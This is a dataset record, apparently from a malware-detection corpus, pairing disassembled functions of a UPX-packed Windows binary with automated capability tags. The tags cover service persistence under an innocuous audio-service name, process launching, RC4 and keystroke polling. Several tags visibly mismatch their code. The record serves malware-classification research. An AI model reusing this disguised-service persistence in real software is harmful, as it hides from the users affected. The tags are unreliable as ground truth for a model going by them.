joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42da00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
or ebp, 0xffffffff
jmp 0x42da22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42da29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42da18
mov eax, 1
add ebx, ebx
jne 0x42da3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42da30
jne 0x42da4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42da30
xor ecx, ecx
sub eax, 3
jb 0x42da60
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42dad2
mov ebp, eax
add ebx, ebx
jne 0x42da6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42da78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42da9c
inc ecx
add ebx, ebx
jne 0x42da88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42da7d
jne 0x42da99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42da7d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42dabc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42daad
jmp 0x42da1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42dabc
add edi, ecx
jmp 0x42da1e
pop esi
mov edi, esi
mov ecx, 0x919
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42dada
cmp byte [edi], 7
jne 0x42dada
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42dadf
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x42db57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x329c0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x32a74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42db0c
mov ecx, edi
jns 0x42db3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x32a78]
or eax, eax
je 0x42db51
mov dword [ebx], eax
add ebx, 4
jmp 0x42db29
call dword [esi + 0x32a7c]
popal
jmp 0x40cd5a
Function at 0x402230
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x45e134]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
push 0x94
xor esi, esi
lea eax, [esp + 8]
push esi
push eax
call fcn.00407a30
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4022b0
mov eax, dword [esp + 8]
cmp eax, 6
ja 0x402284
jne 0x4022b0
mov eax, dword [esp + 0xc]
test eax, eax
jbe 0x40229f
mov eax, 1
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.004079e3
add esp, 0x98
ret
jne 0x4022b0
cmp dword [esp + 0x10], 0x1560
mov eax, 1
jae 0x4022b2
mov eax, esi
mov ecx, dword [esp + 0x98]
pop esi
xor ecx, esp
call fcn.004079e3
add esp, 0x98
ret

Function at 0x4023f0
Capabilities:
Create service

Disassembly:
sub esp, 0x204
mov eax, dword [0x45e134]
xor eax, esp
mov dword [esp + 0x200], eax
push 0x200
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40246b
push esi
push 3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x40246a
push edi
push 0
push 0
push 0x4163a1
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push 1
push 3
push 0x10
push 4
push str.User_mode_service_for_Modem_Audio
push 0x4164fc
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x402466
push eax
call edi
push esi
call edi
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.004079e3
add esp, 0x204
ret

Function at 0x402480
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x402516
push esi
push 0x10024
push str.XAudioService
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x40250e
push 0x45f80c
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x402500
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x45f80c
push esi
call ebx
test eax, eax
je 0x4024fe
cmp dword [0x45f810], 3
jne 0x4024fe
push 0x3e8
call edi
push 0x45f80c
push esi
call ebx
test eax, eax
jne 0x4024e2
pop edi
pop ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
Function at 0x402730
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
push esi
mov dword [esp + 4], 0x4163a8
mov dword [esp + 8], 0x402650
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.00402230
test eax, eax
je 0x4027f9
cmp dword [esp + 0x18], 1
jle 0x4027b9
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi + 4]
mov al, byte [ecx]
cmp al, 0x2d
je 0x402779
cmp al, 0x2f
jne 0x4027b9
add ecx, 1
push ecx
push str.install
call fcn.0040881d
add esp, 8
test eax, eax
jne 0x402795
call fcn.004023f0
jmp 0x4027b2
mov eax, dword [esi + 4]
add eax, 1
push eax
push str.remove
call fcn.0040881d
add esp, 8
test eax, eax
jne 0x4027b9
call fcn.00402480
push 0
call fcn.00408607
push 0x4163c8
push str._s__install__________to_install_the_service_n
call fcn.004082c6
push str.XAudio.exe
push str._s__remove___________to_remove_the_service_n
call fcn.004082c6
push str._nStartServiceCtrlDispatcher_being_called._n
call fcn.004082c6
push str.This_may_take_several_seconds.__Please_wait._n
call fcn.004082c6
add esp, 0x18
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
pop esi
add esp, 0x10
ret

Function at 0x4079e3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45e134]
jne 0x4079ed
repz ret
jmp fcn.00409fde
Function at 0x40ec9f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040b005
xor ebx, ebx
cmp dword [0x464434], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40ed74
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40ecdf
xor eax, eax
jmp 0x40ee38
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40ecd8
push eax
call fcn.0040afa2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x464434], eax
call esi
push eax
call fcn.0040afa2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x464438], eax
call esi
push eax
call fcn.0040afa2
mov dword [0x46443c], eax
lea eax, [ebp - 8]
push eax
call fcn.00408434
test eax, eax
pop ecx
pop ecx
je 0x40ed42
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040b8ab
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40ed74
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040afa2
cmp eax, ebx
pop ecx
mov dword [0x464444], eax
je 0x40ed74
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040afa2
pop ecx
mov dword [0x464440], eax
mov eax, dword [0x464440]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40eded
cmp dword [0x464444], esi
je 0x40eded
push eax
call fcn.0040b00e
pop ecx
call eax
cmp eax, ebx
je 0x40edba
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x464444]
call fcn.0040b00e
pop ecx
call eax
test eax, eax
je 0x40edba
test byte [ebp - 0x18], 1
jne 0x40eded
lea eax, [ebp - 0xc]
push eax
call fcn.0040846b
test eax, eax
pop ecx
je 0x40edd5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040b8ab
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40ede4
or dword [ebp + 0x10], 0x200000
jmp 0x40ee1e
or dword [ebp + 0x10], 0x40000
jmp 0x40ee1e
mov eax, dword [0x464438]
cmp eax, esi
je 0x40ee1e
push eax
call fcn.0040b00e
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40ee1e
mov eax, dword [0x46443c]
cmp eax, esi
je 0x40ee1e
push dword [ebp - 4]
push eax
call fcn.0040b00e
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x464434]
call fcn.0040b00e
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413cc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e2f1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d73db
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x413d42
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d51fb
mov eax, dword [eax]
push 0x513238
push eax
call fcn.004b3b64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d7666
test bl, bl
je 0x413d42
push 0x513238
lea ecx, [esp + 0xc]
call fcn.004d79f6
push 0x516dbc
lea ecx, [esp + 0xc]
call fcn.004d79f6
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x413d7e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d7666
jmp 0x413e49
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x413e02
lea edx, [esp + 0x7c]
push 0x516db8
push edx
call fcn.004b3b64
add esp, 8
test eax, eax
je 0x413e02
lea eax, [esp + 0x7c]
push 0x516db4
push eax
call fcn.004b3b64
add esp, 8
test eax, eax
je 0x413e02
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x413d92
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d7666
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x414640
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4146a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4146b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e2f9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x523c68]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4147e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x414716
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d7666
xor eax, eax
jmp 0x41485f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d77a3
push esi
lea ecx, [esp + 0xc]
call fcn.004d7a32
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41483d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00414640
test eax, eax
jne 0x41483d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00414640
test eax, eax
jne 0x41483d
lea eax, [esp + 0x14]
push 0x516dd0
push eax
call fcn.004b4c70
mov esi, eax
add esp, 8
test esi, esi
jne 0x41481c
lea ecx, [esp + 0x14]
push 0x516dcc
push ecx
call fcn.004b4bf0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41481c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41481f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d7753
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41472e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d7666
xor eax, eax
jmp 0x41485f
mov byte [esi], 0
push 0x516dc8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d7666
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x426800
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42686e
cmp si, 0x69
ja 0x42686e
add esi, 0xffd0
cmp si, 0x11
je 0x42683e
push 0x11
call edi
test ax, ax
jge 0x42683e
or esi, 0x2000
cmp si, 0x10
je 0x426853
push 0x10
call edi
test ax, ax
jge 0x426853
or esi, 0x4000
cmp si, 0x12
je 0x426868
push 0x12
call edi
test ax, ax
jge 0x426868
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42687b
mov esi, 0xbd
jmp 0x42682f
cmp si, 0x6e
jne 0x426888
mov esi, 0xbe
jmp 0x42682f
cmp si, 0x6f
jne 0x426829
mov esi, 0xbf
jmp 0x42682f

Function at 0x427fb0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x535128]
xor edx, edx
cmp eax, edx
jne 0x427fd6
xor eax, eax
mov byte [eax + 0x535028], al
inc eax
cmp eax, 0x100
jl 0x427fbe
mov dword [0x535128], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x535028
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x428067
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42803a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x428008
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4280e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x428133
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42811a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42eb70
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42ed08
cmp ebp, ebx
jle 0x42ed08
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42ebce
dec eax
or eax, 0xfffffff8
inc eax
je 0x42ebd5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42ebe4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42ebeb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004d73a7
add esp, 4
cmp eax, ebx
je 0x42ec0c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004d73a7
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42ecfe
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42ece5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42ecd1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42ecc6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42ecd4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42ecd4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42ec70
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42ec61
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x431d10
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4e4718
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x431d49
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004ded5a
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004deda6
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00431dd0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004dede3
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x436390
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4e4ea8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00436f10
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x436439
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.00436020
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.004de00b
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00445690
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.004de07d
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14